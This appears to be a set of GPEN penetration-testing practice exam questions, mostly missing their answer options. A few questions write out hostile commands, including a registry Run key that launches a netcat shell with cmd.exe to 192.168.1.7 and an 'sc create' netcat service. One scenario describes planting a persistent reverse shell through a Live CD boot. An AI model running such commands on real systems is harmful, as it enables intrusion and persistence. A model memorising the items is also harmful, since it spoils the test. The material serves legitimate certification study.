GPEN questions and answers

You have compromised a Windows workstation using Metasploit and have injected the Meterpreter payload into the svchost process. After modifying some files to set up a persistent backdoor you realize that you will need to change the modified and access times of the files to ensure that the administrator can't see the changes you made.

Which Meterpreter module would you need to load in order to do this?

You work as a Network Administrator for Tech Perfect Inc. The company has a Windows Active Directory-based single domain single forest network. The functional level of the forest is Windows Server 2003. The company has recently provided laptops to its sales team members. You have configured access points in the network to enable a wireless network. The company's security policy states that all users using laptops must use smart cards for authentication.

Which of the following authentication techniques will you use to implement the security policy of the company?

Which of the following tools is an automated tool that is used to implement SQL injections and to retrieve data from Web server databases?

You work as a Penetration Tester for the Infosec Inc. Your company takes the projects of security auditing.
Recently, your company has assigned you a project to test the security of the we-aresecure. com Website.
The we-are-secure.com Web server is using Linux operating system. When you port scanned the we-are-secure.com Web server, you got that TCP port 23, 25, and 53 are open. When you tried to telnet to port 23, you got a blank screen in response. When you tried to type the dir, copy, date, del, etc. commands you got only blank spaces or underscores symbols on the screen.

What may be the reason of such unwanted situation?

Which of the following tools is not a BlueSnarf attacking tool?

Which of the following is the most common method for an attacker to spoof email?

Which protocol would need to be available on a target in order for Nmap to identify services like IMAPS and POP3S?

Fill in the blank with the appropriate word.

____is a port scanner that can also be used for the OS detection.

A. Nmap

You want to retrieve password files (stored in the Web server's index directory) from various Web sites.

Which of the following tools can you use to accomplish the task?

Which of the following Penetration Testing steps includes network mapping and OS fingerprinting?

You want to retrieve the default security report of nessus.

Which of the following google search queries will you use?

Which of the following is generally practiced by the police or any other recognized governmental authority?

While scanning a remote system that is running a web server with a UDP scan and monitoring the scan with a sniffer, you notice that the target is responding with ICMP Port Unreachable only once a second

What operating system is the target likely running?

You run the following command on the remote Windows server 2003 computer:

c:\reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v nc /t
REG_SZ /d "c:\windows\nc.exe -d 192.168.1.7 4444 -e cmd.exe"

What task do you want to perform by running this command?
Each correct answer represents a complete solution. Choose all that apply.

Peter, a malicious hacker, obtains e-mail addresses by harvesting them from postings, blogs, DNS listings, and Web pages. He then sends large number of unsolicited commercial e-mail (UCE) messages on these addresses.

Which of the following e-mail crimes is Peter committing?

Which of the following Nmap commands is used to perform a UDP port scan?

Which of the following characters will you use to check whether an application is vulnerable to an SQL injection attack?

Which of the following standards is used in wireless local area networks (WLANs)?

Which of the following is a Windows-based tool that is used for the detection of wireless LANs using the IEEE 802.11a, 802.11b, and 802.11g standards and also detects wireless networks marking their relative position with a GPS?

Which of the following techniques is used to monitor telephonic and Internet conversations by a third party?

Which of the following best describes a server side exploit?

In which of the following scanning methods does an attacker send SYN packets and then a RST packet?

You work as a professional Ethical Hacker. You are assigned a project to perform blackhat testing on www.we-are-secure.com. You visit the office of we-are-secure.com as an air-condition mechanic. You claim that someone from the office called you saying that there is some fault in the air-conditioner of the server room. After some inquiries/arguments, the Security Administrator allows you to repair the air-conditioner of the server room. When you get into the room, you found the server is Linux-based. You press the reboot button of the server after inserting knoppix Live CD in the CD drive of the server. Now, the server promptly boots backup into Knoppix. You mount the root partition of the server after replacing the root password in the /etc/shadow file with a known password hash and salt. Further, you copy the netcat tool on the server and install its startup files to create a reverse tunnel and move a shell to a remote server whenever the server is restarted. You simply restart the server, pull out the Knoppix Live CD from the server, and inform that the air-conditioner is working properly. After completing this attack process, you create a security auditing report in which you mention various threats such as social engineering threat, boot from Live CD, etc. and suggest the countermeasures to stop booting from the external media and retrieving sensitive data.
Which of the following steps have you suggested to stop booting from the external media and retrieving sensitive data with regard to the above scenario?
Each correct answer represents a complete solution. Choose two.

While reviewing traffic from a tcpdump capture, you notice the following commands being sent from a remote system to one of your web servers:
C:\>sc winternet.host.com create ncservice binpath- "c:\tools\ c.exe -I -p 2222 -e cmd.exe"
C:\>sc vJnternet.host.com query ncservice.

What is the intent of the commands?

Which of the following attacks can be overcome by applying cryptography?

Adam is a novice Internet user. He is using Google search engine to search documents of his interest.
Adam wants to search the text present in the link of a Website.

Which of the following operators will he use in his query to accomplish the task?

Which of the following tasks is NOT performed into the enumeration phase?

John works as a professional Ethical Hacker. He has been assigned a project to test the security of www.we-are-secure.com. He enters the following command on the Linux terminal:chmod 741 secure.c

Considering the above scenario, which of the following statements are true?
Each correct answer represents a complete solution. Choose all that apply.

The employees of CCN Inc. require remote access to the company's proxy servers. In order to provide solid wireless security, the company uses LEAP as the authentication protocol.
Which of the following is supported by the LEAP protocol?
Each correct answer represents a complete solution. Choose all that apply.

Which of the following file transfer programs will automatically convert end-of line characters between different platforms when placed in ASCII Mode?

Which of the following best describes a client side exploit?

In which of the following attacks does the attacker overload the CAM table of the switch?

You want to use a Windows-based GUI tool which can perform MITM attacks, along with sniffing and ARP poisoning.

Which of the following tools will you use?

John works as a professional Ethical Hacker. He has been assigned the project of testing the security of www.we-are-secure.com. He wants to perform a stealth scan to discover open ports and applications running on the We-are-secure server. For this purpose, he wants to initiate scanning with the IP address of any third party.

Which of the following scanning techniques will John use to accomplish his task?

You are conducting a penetration test for a private company located in Canada. The scope extends to all internal-facing hosts controlled by the company. You have gathered necessary hold-harmless and non-disclosure agreements.

Which action by your group can incur criminal liability under Criminal Code of Canada Sections 184 and 542 CC 184?

Which of the following statements are true about session hijacking?
Each correct answer represents a complete solution. Choose all that apply.

Adam, a malicious hacker, hides a hacking tool from a system administrator of his company by using Alternate Data Streams (ADS) feature.

Which of the following statements is true in context with the above scenario?

Which of the following layers of TCP/IP model is used to move packets between the Internet Layer interfaces of two different hosts on the same link?

You want to scan your network quickly to detect live hosts by using ICMP ECHO Requests.

What type of scanning will you perform to accomplish the task?

What happens when you scan a broadcast IP address of a network?
Each correct answer represents a complete solution. Choose all that apply.

Which of the following statements are true about the Enum tool?
Each correct answer represents a complete solution. Choose all that apply.

You have compromised a Windows workstation using Metasploit and have injected the Meterpreter payload into the smss process. You want to dump the SAM database of the remote system so you can crack it offline.

Which Meterpreter module would you need to load in addition to the defaults so that you can accomplish this?

Fill in the blanks with the appropriate protocol.
CCMP (Counter Mode with Cipher Block Chaining Message Authentication Code Protocol) is an IEEE___encryption protocol created to replace both TKIP and WEP.

A. 802.11i

Which of the following tools is spyware that makes Windows clients send their passwords as clear text?

Which of the following tools is based on the SATAN tool?

Which of the following is a method of gathering user names from a Linux system?

Which of the following is a tool for SSH and SSL MITM attacks?

When sniffing wireless frames, the interface mode plays a key role in successfully collecting traffic.

Which of the mode or modes are best used for sniffing wireless traffic?

Which of the following tools is used for vulnerability scanning and calls Hydra to launch a dictionary attack?

One of the sales people in your company complains that sometimes he gets a lot of unsolicited messages on his PDA. After asking a few questions, you determine that the issue only occurs in crowded areas like airports.

What is the most likely problem?

You are pen testing a Windows system remotely via a raw netcat shell.
You want to quickly change directories to where the Windows operating system resides, what command could you use?

You suspect that system administrators In one part of the target organization are turning off their systems during the times when penetration tests are scheduled, what feature could you add to the ' Rules of engagement' that could help your team test that part of the target organization?

How many bits encryption does SHA-1 use?

GSM uses either A5/1 or A5/2 stream cipher for ensuring over-the-air voice privacy.

Which of the following cryptographic attacks can be used to break both ciphers?

Which of the following tools connects to and executes files on remote systems?

One of the sales people in your company complains that sometimes he gets a lot of unsolicited messages on his PDA. After asking a few questions, you determine that the issue only occurs in crowded areas like airports.

What is the most likely problem?

A tester has been contracted to perform a penetration test for a corporate client. The scope of the test is limited to end-user workstations and client programs only.

Which of die following actions is allowed in this test?

You are pen testing a system and want to use Metasploit 3.X to open a listening port on the system so you can access it via a netcat shell.

Which stager would you use to have the system listen on TCP port 50000?